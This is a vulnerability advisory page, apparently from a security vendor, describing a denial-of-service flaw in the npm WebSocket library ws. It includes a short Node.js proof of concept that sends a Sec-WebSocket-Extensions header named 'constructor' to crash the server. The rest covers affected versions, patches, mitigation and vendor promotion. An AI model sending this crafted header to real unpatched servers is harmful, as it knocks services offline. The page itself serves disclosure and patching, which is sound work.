GHSA-5v72-xg48-5rpm is a high-severity (CVSS 7.5) vulnerability in ws. A fix is available for ws — see the affected versions and patch details below.
Denial of Service in ws
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
wsnpmDescription
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
Proof of concept
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Recommendation
Update to version 3.3.1 or later.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | ws | ≥ 0.6.0&&< 1.1.5 | 1.1.5npm install ws@1.1.5 |
| 📦npm | ws | ≥ 2.0.0&&< 3.3.1 | 3.3.1npm install ws@3.3.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ws, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ws to 1.1.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5v72-xg48-5rpm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-5v72-xg48-5rpm can be triaged on real exposure rather than presence alone.
Tailored to GHSA-5v72-xg48-5rpm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5v72-xg48-5rpm in your dependencies?
O3 Security finds GHSA-5v72-xg48-5rpm across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.